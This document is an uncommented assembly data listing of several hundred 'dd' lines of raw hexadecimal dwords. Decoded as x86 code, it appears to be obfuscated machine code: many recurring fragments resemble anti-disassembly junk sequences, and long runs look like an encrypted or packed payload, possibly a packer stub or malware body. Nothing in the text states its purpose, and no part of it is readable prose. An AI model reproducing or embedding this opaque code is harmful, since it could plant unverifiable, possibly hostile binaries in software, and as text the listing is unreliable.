		dd 4246C89h, 4244481h, 16h, 70C35545h, 0BD89427Dh, 60B0515h
		dd 28B0F50h, 60000000h,	0B58B5B61h, 60EA811h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3EC35242h, 0B748616Bh
		dd 8E86Ah, 380D0000h, 15D4BF5Ch, 5FF855A6h, 121D858Bh
		dd 0BB66060Bh, 8689F719h, 0C4h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 5C35141h, 78152E57h, 5DD2EEFh
		dd 8509609Fh, 60B00B9h,	97D8D89h, 8B61060Bh, 0B174D95h
		dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0B2C35040h, 0BF66B9C9h,	5089CB81h, 0D59D0920h
		dd 8B060B28h, 0B06E9BDh, 0EE858D06h, 29060EBAh,	0B2AD9BDh
		dd 0B8868906h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E8C3C357h,	6, 65A70902h
		dd 6A5F9076h, 0BCBB6600h, 1DB5FF92h, 80060EA8h,	95FF55DFh
		dd 60B0F15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	16C35646h, 280A42F3h, 78FCA7Dh,	0BB6650D9h, 34892822h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 11EB8075h, 0A81DB5FFh, 820F060Eh, 6, 2E659D0Bh
		dd 8166060Bh, 0FF10F8E3h, 0B00F595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E9707A37h
		dd 2DE99D23h, 0BD83060Bh, 60B2191h, 64840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0C09EC357h, 19059D29h, 8166060Bh,	96DFE9C7h
		dd 0C169BB66h, 9605B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0D4C35242h, 0E8CB253Dh, 0Ah, 5382F52Ah
		dd 967DDCCCh, 0BB664D4Bh, 0FF5B98E6h, 0EA81DB5h, 0DFB70F06h
		dd 128195FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 424F6EC3h, 0FA9815CEh, 8B6A242Ah
		dd 0B15F99Dh, 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8376C351h
		dd 590AFDB6h, 8B66603Eh, 0C9BD89C7h, 61060B0Ah,	0B8D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F8396DC3h, 0CE9h, 187D9600h, 0F69DE8A0h
		dd 0F988298Eh, 0F1BD8362h, 2060B17h, 6F840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 94BF1CC3h, 67B5A9B2h, 0DF814679h, 6903E843h,	2EC5858Bh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0B39D16C3h, 0C63Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 26C35141h, 0B985C747h, 60B06h
		dd 0E8000000h, 8, 1250E9ACh, 0B60C2ABh,	0E91EB75Bh, 0FFFFF2A5h
		dd 16219589h, 0C18B060Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DAC35646h, 0B71C5848h, 0B026C4D8h, 719D89F5h
		dd 0EB060B1Fh, 0E784F04h, 5C5E905h, 0C2D40000h,	68BF688Bh
		dd 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h,	79FAC5DFh
		dd 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C58402h
		dd 0D5DEDB41h, 5F231E6Dh, 1D6D198Dh, 98E2C394h,	0F4C3D5A4h
		dd 277D2C90h, 0D92ADB18h, 64B118ECh, 0E134E569h, 0E246CD0h
		dd 7D8875FFh, 1D5632BAh, 0E1D9C394h, 99EA638Dh,	4E56B7ACh
		dd 8BFF7781h, 1CC3941Dh, 1D5A2E26h, 0E2DC394h, 683A1082h
		dd 574BAF2Dh, 0A8001885h, 0BA9E625Fh, 709EF246h, 370E16F7h
		dd 77139B25h, 0F83C6BF9h, 3DEC6482h, 0C3872FE4h, 443C6BF9h
		dd 0C7B61A7Eh, 4D3C80BFh, 0D4850934h, 0CD01F5C0h, 971DA8C8h
		dd 6BF96B1Fh, 0A286FC3Ch, 234BD597h, 3C6BF9A7h,	15E2DF26h
		dd 24A1032Dh, 459EA9FFh, 9E625FA8h, 6BF93756h, 806DFF3Ch
		dd 0EA8467Bh, 59EB75FFh, 6BF9B1D5h, 4CC363Ch, 3C6BF940h
		dd 0EB55F3C7h, 3240D542h, 9E6Fh, 710FD00h, 0DE261CCAh
		dd 2D186DD5h, 0BD016559h, 0D63230AFh, 0D933B28Ah, 0C825A72Fh
		dd 63E1C394h, 0EC506DB2h, 0F8DCEB3Dh, 0D359544Eh, 0C8592D41h
		dd 412EC394h, 58210538h, 65D7714Ch, 3241C4C4h, 1EDh, 50BD0B00h
		dd 4D817548h, 0B55BAAA3h, 47A33A01h, 0D6BA9E1Fh, 3B211067h
		dd 6482BFCAh, 0DEE53DECh, 0BF92E10Ch, 271E62CBh, 0ED1B7F53h
		dd 803F2D65h, 0F99CA43h, 0EA846C2h, 7D8875FFh, 5CABA24Ch
		dd 0A588FFB6h, 0B6AAF24Bh, 0E42179A4h, 94270440h, 53B78BC3h
		dd 0C0D532B5h, 0BD966EF5h, 80BDC233h, 941D0440h, 99B78BC3h
		dd 76A76CB4h, 0B0D41C21h, 37C3941Dh, 262A34C3h,	0E827898Ah
		dd 24F966F4h, 4931B03Bh, 0A291E950h, 0CADD8C84h, 0A128156Ah
		dd 0B0947857h, 0F40EE85Ch, 350810F9h, 4E3DA22Eh, 0A68C5E7Ah
		dd 8408454Eh, 4BC26C40h, 0CEBF033Eh, 90F478C3h,	17C3947Fh
		dd 0C67BCF23h, 39D3D2h,	29324155h, 9Bh,	0D6DC1C43h, 8FAD9F0h
		dd 2EE196CFh, 23CDCF9Eh, 6EDADE3Dh, 675B2F26h, 0C3CEBF03h
		dd 46533A8Eh, 0CDD6870Bh, 0C0FF09F0h, 8F1E147Ch, 0C9993F3h
		dd 0B1A29DE7h, 8D714C54h, 1A6AC6DCh, 1D3551D5h,	40BAC394h
		dd 0D5A4986Ch, 2C90F4C3h, 867A8B29h, 3240F357h,	0D7B33B45h
		dd 58C39417h, 633DC462h, 0DB000000h, 754850BDh,	172E72DBh
		dd 0E70F99A3h, 0C3941DE3h, 1DF01E64h, 0B12E3C0Bh, 0A8717773h
		dd 0D931DF0Ch, 8B119CC4h, 493D041Ah, 191F6B83h,	0AA90C394h
		dd 6FB598B6h, 0DE758350h, 0DE16FAD7h, 0C3941DAFh, 1BEFE62Eh
		dd 0E66A67B2h, 1DB4D054h, 0C73BC394h, 0DCAE3F79h, 0A55F6E24h
		dd 3240F084h, 1ADh, 0D3DE4B00h,	56A30AFEh, 2E6A977Bh, 162B769Fh
		dd 700B91CDh, 0FC7742EAh, 82F8BD9Eh, 22A6CE58h,	0A53A60C0h
		dd 0EE5FB35Dh, 5A4BA8A5h, 58887C49h, 3A60C02Ah,	23C8C51Fh
		dd 8F78FBD6h, 6DC5DA7Ah, 45C92D18h, 0F0592D01h,	7826AAA7h
		dd 0F825AF3Eh, 0D62A9EA3h, 60C0D538h, 1EC53914h, 0FE146392h
		dd 204F8D5Dh, 0E76B4F9Dh, 729B85A3h, 5F2C35A2h,	135h, 211EBDB9h
		dd 4B77B336h, 207C40EEh, 3C5DD11Bh, 0DCBD9E42h,	92AEDA52h
		dd 0D9213A61h, 2A7FD02Fh, 0E6573B1Fh, 0D1EC359Dh, 2E35296Dh
		dd 3599B4C1h, 90ADF627h, 0CF3EE82Ch, 523B8FBAh,	0D7860A47h
		dd 1401F5C4h, 837D119Ch, 8A9F0481h, 3B40ADBFh, 0FD0FE806h
		dd 41350810h, 0D079E30Dh, 0F92C367Fh, 48h, 770C6F07h, 1D5541E5h
		dd 0E0DAC394h, 1DB0D41Ch, 88A2C394h, 1656257Dh,	77813DEDh
		dd 0C3B7BF58h, 0E408D236h, 0C3947BB0h, 74D82BDAh, 17311520h
		dd 0D4B03438h, 5BC3947Bh, 21D00367h, 91h, 8FC6CE3Fh, 3329C73Bh
		dd 0E4760D6Fh, 9F052140h, 0FF8FAEBDh, 1CB7B5AFh, 0EC7EC226h
		dd 2CDAF901h, 7AF9D421h, 9F4D788Dh, 0A658EE20h,	729C9C45h
		dd 9409569Eh, 0D0003A60h, 0EEDB2CD5h, 0C8532975h, 0B7FB8A22h
		dd 0F8744470h, 70751074h, 4FA39730h, 340112FBh,	0CEDFD540h
		dd 0ED7F0498h, 0D434224Eh, 0CE02F6C3h, 2504C631h, 0BCCD610Bh
		dd 314E6014h, 4D39AD3Fh, 0C22E4018h
		dd 181C68F8h, 74932E40h, 61C5BDE7h, 0BB44B8DBh,	0B331E4A3h
		dd 6DF6EA9Ah, 4B50BD97h, 0C7958276h, 4BDAEDA3h,	6B33DD31h
		dd 811FC11h, 0C50D4135h, 0C3940781h, 0A3412146h, 3483A27Ch
		dd 8B7F425Bh, 0ED7F53B7h, 84B20879h, 0C9BD85BDh, 5AAF1760h
		dd 370575B4h, 0AD81FC52h, 5281E5D9h, 0E5D427D6h, 88BFF77h
		dd 261C3A64h, 50F00508h, 0A2160A47h, 79E46D82h,	0B2336939h
		dd 0D60D384Dh, 6DD1EC39h, 0EB5F66BCh, 52BB4A4Eh, 54E67441h
		dd 0A526A2CAh, 51A93545h, 45A5F591h, 0E6007A35h, 4C97E00Dh
		dd 45A5ACD8h, 0F0042335h, 0C83ED4AEh, 996D41A5h, 326h
		dd 9C844E00h, 9FDD4DEh,	967A57A0h, 12E6D127h, 9B6F52ABh
		dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh
		dd 0E28952CFh, 4C281h, 0EA830000h, 24148704h, 2434895Ch
		dd 2FF268h, 24148900h, 1F6368h,	240C8900h, 16976851h, 0C8B1110h
		dd 4C48324h, 88C18149h,	8148DC5Dh, 0FC6B14F1h, 59CA895Fh
		dd 1CFD68h, 24248900h, 4240481h, 59000000h, 4EC81h, 14890000h
		dd 8418F24h, 592434FFh,	4C481h,	148B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FB5A6EE9h, 75CC1AFFh
		dd 0B80FA743h, 6102449h, 0E0FFC503h, 1700BC92h,	9A99837h
		dd 1A80CFB1h, 12FE6FC3h, 5244D270h, 7B5BB138h, 6DC4C829h
		dd 20CC1602h, 652D4EB1h, 3C658C20h, 4CB720B9h, 3EE035F1h
		dd 0A8A7A16h, 47C41AA1h, 7A798AF6h, 559BE1BAh, 69EB2700h
		dd 45D2457Ch, 28A9858Dh, 0BB66060Bh, 0E9907F1Dh, 0Fh, 3174E8B1h
		dd 0CBF4431h, 0D930FB37h, 5071E2F6h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6A50B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 93C35141h, 2DE9B589h
		dd 810F060Bh, 6, 30DBD8Bh, 6A060Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0EBC35545h,	9D2798D8h, 317CD12Bh
		dd 0B0EB5BDh, 3840F06h,	0F000000h, 858DFFB7h, 610270Fh
		dd 23F78166h, 5C08332h,	89BD8Bh, 0BF50060Bh, 767E8381h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0D954C355h, 0F5C6842h,	981686C8h
		dd 1D19D09h, 6A060Bh, 0E94BCB80h, 0Eh, 95788B1Bh, 0A6685C33h
		dd 66D2FF42h, 6AB64Dh, 0C690BB66h, 9E9h, 28002600h, 0BA99B7B3h
		dd 95FFF8D9h, 60B2F21h,	18B0Fh,	81F80000h, 610FCFh, 0B08D8D16h
		dd 6A060EA7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 1C10C355h, 896F880Fh, 0B0689BDh
		dd 359D0B06h, 0FF060B13h, 0FDBD8BD1h, 83060B03h, 0B0B19BDh
		dd 850F0106h, 7Fh, 0D858960h, 66060B06h, 97EBE281h, 6A026A61h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0EB65C350h, 0BB669034h, 6050BAB6h, 0F525060h
		dd 60585A31h, 52506161h, 310F5A50h, 9061585Ah, 5E9h, 0F1B61F00h
		dd 95FFC295h, 60B0F15h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 2CC35343h, 0F5D5BB56h, 0CFBB59C0h, 0E963E567h
		dd 0DC3h, 0E8h,	0ED815D00h, 6102719h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0C5C35343h,	0BD8BF98Bh, 60B240Dh
		dd 9293858Dh, 8531060Eh, 60B0671h, 0F98B6690h, 4402BB50h
		dd 0E9904BD2h, 12h, 0C32B5778h,	2942A032h, 5CDD6FD4h, 0AC372752h
		dd 0FF6479ADh, 35h, 79958900h, 64060B1Fh, 2589h, 0EB810000h
		dd 75D5EEDFh, 66D85FFh,	6A060Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 573ABDC3h, 91BD8B7Dh
		dd 6A060B24h, 759D8BFFh, 0FF060B2Eh, 0B12A9B5h,	95FFF506h
		dd 60B2411h, 109E9h, 198D8900h,	0B0060B06h, 1953100h, 0E6060B1Bh
		dd 0B70F5170h, 71E45FDBh, 0D9BAD781h, 613C299Dh, 0E4830Fh
		dd 0BD8B0000h, 60B0809h, 0BAC8B60Fh, 6,	15159D8Bh, 0EE9060Bh
		dd 27000000h, 0A37C97C4h, 778E1C41h, 0E4293222h, 1C18BB5h
		dd 0B1829BDh, 4E8C106h,	14D9D8Bh, 0F766060Bh, 8AC82BE2h
		dd 8AD18BF8h, 9CE9DCh, 85090000h, 60B1671h, 158DBD8Bh
		dd 858B060Bh, 4947554Ch, 21199D8Bh, 9E9060Bh, 53000000h
		dd 0A573854Eh, 9FBE3693h, 0E907C083h, 13h, 0ACCBB840h
		dd 48F295E1h, 0E8F01160h, 855EA9CDh, 8377E4C3h,	0B50900C0h
		dd 60B1169h, 2B61B589h,	0D03B060Bh, 13830Fh, 9D8B0000h
		dd 60B0AD1h, 39E9h, 0A597BB00h,	8B665D29h, 0FF8D8BDAh
		dd 8AFFFFFFh, 1E183FEh,	20840Fh, 9D290000h, 60B010Dh, 0FFFFA583h
		dd 89FEFFFFh, 47554C95h, 0BD0B5049h, 60B0DEDh, 0E95Fh
		dd 0B58D0000h, 60F9EEEh, 1609BD89h, 6A060Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9C35141h, 0AA3CE9B0h
		dd 8DBD8BC5h, 0FF060B09h, 0B32DD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0EC51BDF6h
		dd 0E9AFAAEEh, 0Fh, 0FCFB8351h,	44C48616h, 30C064A0h, 8BC464D4h
		dd 0E48B9F9h, 83F90000h, 810FFCE1h, 6, 29FD9D89h, 6AFC060Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6997C353h, 7F887F0Fh, 8956FF0Bh, 0B31958Dh
		dd 0C02B5F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	7AC35747h, 5204378Fh, 0C8B7D22Bh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 6AD98Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D554A1C3h, 1B91BD8Bh, 9D8B060Bh
		dd 60B17B9h, 5E8h, 8260C00h, 13E9713Dh,	0
		dd 5FD45960h, 18EFF2B2h, 4D765882h, 2A41A9C6h, 0D5FC8D9h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 0EAC35141h, 899509h,	958B060Bh, 60B174Dh, 5D9D0360h
		dd 0FC060B03h, 198D8B61h, 6A060B01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B010C357h
		dd 0E4F51CB6h, 506CF2B1h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0B5E3A968h, 292D9D09h, 6A060Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 21556EC3h, 0E86E5AA9h, 0Dh, 0FF140C4Eh, 56C999F4h, 31297950h
		dd 11E9ACh, 0C2730000h,	469A69D8h, 0B46FF5C9h, 0FAACEE16h
		dd 5F4952D6h, 13E9h, 0B8932700h, 0A1F0C024h, 87602E08h
		dd 7CBA3A0Eh, 79723574h, 29BDBD83h, 0F00060Bh, 4A84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 972FFD8Dh, 0B8h, 85BD8B00h, 0F060B2Eh, 688h,	719D2B00h
		dd 8D060B18h, 0B4DD78Dh, 8DBD8B06h, 0FF060B03h,	699D8BE1h
		dd 83060B06h, 0B1009BDh, 840F0006h, 499h, 3860Fh, 8B660000h
		dd 9BD83FAh, 1060B10h, 49E840Fh, 8B660000h, 9BD83DAh, 3060B10h
		dd 458860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 60E99BC3h, 0F9D8B70Fh, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 91CEC351h, 1AC393E0h, 0B3D0AF09h,	4E1806Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h
		dd 7192B104h, 7D8D894Fh, 60060B02h, 8531F28Bh, 60B31B5h
		dd 0FC90A61h, 1B484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 708B33CAh, 8BFB8B66h
		dd 0B1FADBDh, 7D858B06h, 8B060B31h, 0B2729BDh, 5810F06h
		dd 66000000h, 0AC28E781h, 6ED8533h, 6A060Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73CAE9C3h
		dd 57A2A5E0h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 8A0F5A78h, 3
		dd 90FA8B66h, 0CE860h, 0FA990000h, 0E907DF31h, 0CF0F3969h
		dd 8E0F2F0Bh, 0
		dd 0DE859h, 1D850000h, 83AE9C60h, 0D29258AEh, 66EFE4BBh
		dd 5A4F2BBFh, 83BF5061h, 9053F8A9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0DFC35545h,	6CAAAD4Fh, 0E9ACAECFh
		dd 0Ah,	2BD86438h, 8C52AB02h, 6AF20Ah, 68DEBF0Fh, 0AB3FB40Eh
		dd 0F18B6660h, 24048161h, 54DF4FF1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 41C35242h, 6522F0EBh, 7A5E04C3h
		dd 6820Fh, 9D890000h, 60B32B9h,	3D195FFh, 0FE9060Bh, 71000000h
		dd 0D2EC7567h, 0A6FE6645h, 5603BD08h, 8589B4DAh, 60EA81Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1EC35040h
		dd 0A485B9CCh, 1633BAEh, 0B012DB5h, 1D5E906h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0F43875C3h, 4A2CDF90h, 0E8EAA00Ah, 0Bh, 6C7ECAA2h, 0C17B0C43h
		dd 0F5152A55h, 15858B5Fh, 89060EA8h, 0B15B59Dh,	61B58906h
		dd 0C7060B11h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 3D1FADA2h, 2DC5FFBBh
		dd 19B58B0Eh, 53060EA8h, 1681BD8Bh, 665F060Bh, 8B45BFBFh
		dd 0B06E185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0E19036DDh, 17B3BB66h, 6A0689h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 1CAF05C3h, 6F6FF67Ch, 6048294Eh, 5918501h, 0B531060Bh
		dd 60B02C9h, 7D858B61h,	0F060B31h, 4689DBBFh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0FA8CA1Ch, 96D9BF0Fh, 0C970BE60h, 0FCBA1D91h, 6106880Ch
		dd 6A9650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 1B990C3h,	177DB589h, 0B5FF060Bh, 60EA815h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 11C35747h
		dd 2E68461Eh, 0F8EA379h, 0A89h,	52506000h, 585A310Fh, 8161EE8Ah
		dd 8AD12404h, 6E9717Bh,	0F3000000h, 0E2099767h,	1D858D3Ah
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 223C355h, 5E850h, 0CAF90000h
		dd 8A601E63h, 4895FF9h,	0AD958924h, 0FF060B28h,	0B03D195h
		dd 0C19D8B06h, 61060B21h, 2F98D89h, 85C7060Bh, 60B1009h
		dd 3, 2A159D8Bh, 0BD83060Bh, 60EA81Dh, 5B840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 8C90C353h, 0C9280640h, 10E9D0D7h,	52000000h
		dd 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h, 0E969D01Dh, 39h
		dd 1D01BB66h, 0CE8h, 927C400h, 747780D2h, 46F2F346h, 28D0FD1h
		dd 60000000h, 30505F61h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 4D9589C0h, 6A060B1Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 3F5EC355h, 6B59D89h,	0BD83060Bh, 60B1009h, 59850F03h
		dd 23000004h, 0B0B259Dh, 1DBD8306h, 60EA8h, 446840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4948A1C3h, 0A81DB5FFh, 78B3060Eh, 0BBD8509h,	95FF060Bh
		dd 60B083Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0DBC35343h, 0BC7BF963h,	6870F8Fh, 1000000h, 0B202D9Dh
		dd 11B58B06h, 0B3060EA8h, 106C7EFh, 96000100h, 0CE860h
		dd 14C70000h, 0DEC14248h, 271E80E3h, 0B966D633h, 505A068Dh
		dd 5BFE8B66h, 5E95061h,	68000000h, 0C956C01Ah, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E8682E40h, 10h, 9BEFCB69h, 8C0CC17h, 41517807h, 7E70D902h
		dd 3D5BD29h, 0FF5F060Bh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95FFB26Ch
		dd 60B0641h, 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 5FD88B66h
		dd 0ED4DBB66h, 0A811B58Bh, 6A060Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9B2384C3h
		dd 0A435DE3Bh, 0BB66319Eh, 0FE8B9696h, 121D858Bh, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 51686DC3h, 86892AD1h, 0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0C0C35747h,	71B0E1E1h, 0BD5F059Dh
		dd 4D958B40h, 6A060B17h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E993C352h,	0Bh, 0DE181BA8h
		dd 8ACBAEF4h, 8320BA96h, 800F04C2h, 6, 15A1BD8Bh, 9E8060Bh
		dd 2000000h, 0C8DC49AEh, 901AD84Dh, 2311BD23h, 895F060Bh
		dd 0B70F2050h, 0EE858DD9h, 0B3060EBAh, 0B886896Ch, 66000000h
		dd 13BDF381h, 9DBB006Ah, 0FF54AB6Dh, 0EA81DB5h,	0DE806h
		dd 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 5B9F3790h,	0F1595FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B5891EC3h, 60B0095h, 0D49CBB50h,	34897F79h
		dd 0B5FFFC24h, 60EA81Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0CEC35343h, 607EA68Ch, 9FB96660h, 0DDBA618Eh
		dd 61697135h, 0F595FFh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0C6DAB8C3h, 0BF0F5738h
		dd 0BD835FFEh, 60B2191h, 53840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 2A8CC351h, 9E866h, 6FD30000h, 0FD216162h, 809B1F1Bh
		dd 965B3ED7h, 0EFBB6652h, 0E8505F21h, 0Dh, 2418313Dh, 0AEB67220h
		dd 0F2C95D75h, 86BCBB54h, 965F3692h, 0B5FFF98Bh, 60EA81Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h
		dd 9D89B8D4h, 60B2B39h,	128195FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4D5EE1C3h
		dd 0E960F89Eh, 0Eh, 0F5806051h,	0DEA50460h, 0A9035EFFh
		dd 0B5FF35E4h, 60EA81Dh, 0FFD98B66h, 0B0B8D95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 57EB9E7Eh, 0BD83F544h, 60B17F1h, 6E840F02h, 81000000h
		dd 316433D3h, 0C5858B63h, 6A060B2Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 385BC351h
		dd 8E0AA0EAh, 29D58D89h, 8060060Bh, 8B661FEDh, 0C661CEh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 958EEA26h, 60432FE9h, 3800Fh, 8B660000h
		dd 0D6B70FCFh, 0B985C761h, 60B06h, 0F000000h
		dd 1789h, 12E900h, 3B4D0000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh
		dd 0D79705A5h, 0FFF2E6E9h, 66C18BFFh, 0E80DC1BFh, 7, 0CE7F25A9h
		dd 66178BE8h, 5B8B3FBAh, 29036DBFh, 29C38158h, 0E9000060h
		dd 0Bh,	0DC9593B2h, 10402654h, 68B25458h, 17DFh, 0A1858960h
		dd 61060B2Ah, 49BD3159h, 0FF060B0Fh, 6840F33h, 89000000h
		dd 0B32A985h, 0F38B5806h, 71B8F081h, 0B58B5FD9h, 60B29B9h
		dd 3A5BC081h, 8A0F7E0Dh, 6, 1779BD8Bh, 0C081060Bh, 4477B11h
		dd 4AEBBE66h, 259D2950h, 8F060B21h, 0EE903h, 6C180000h
		dd 5B180E15h, 0A49B4E31h, 0F058ACF4h, 4694EB81h, 8B665A48h
		dd 90C381D6h, 815A4846h, 0F6D380EEh, 850F497Dh,	0FFFFFF8Fh
		dd 0AE28166h, 598D8D3Fh, 6A061036h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E8ADC357h
		dd 9, 17184A0Ah, 497BC23h, 49958932h, 5F060B01h, 174D8D89h
		dd 8B66060Bh, 1985C7FAh, 4C060B01h, 6A000059h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 91F7C351h, 0DC83E48Fh, 38A0FCAh, 66000000h, 85C7C78Bh
		dd 60B1009h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 89C35747h
		dd 0C9B5FF88h, 0FF060B19h, 0B0AC595h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 6A960Eh, 32DD95FFh, 0C08B060Bh, 8766DEBh, 0EC96A46Dh
		dd 26BFDEE5h, 0D883D89h, 15C9267Fh, 0DC6535F9h,	14D11384h
		dd 0B5E88862h, 2BD531D0h, 0A49A1749h, 5E96F615h, 9AB44394h
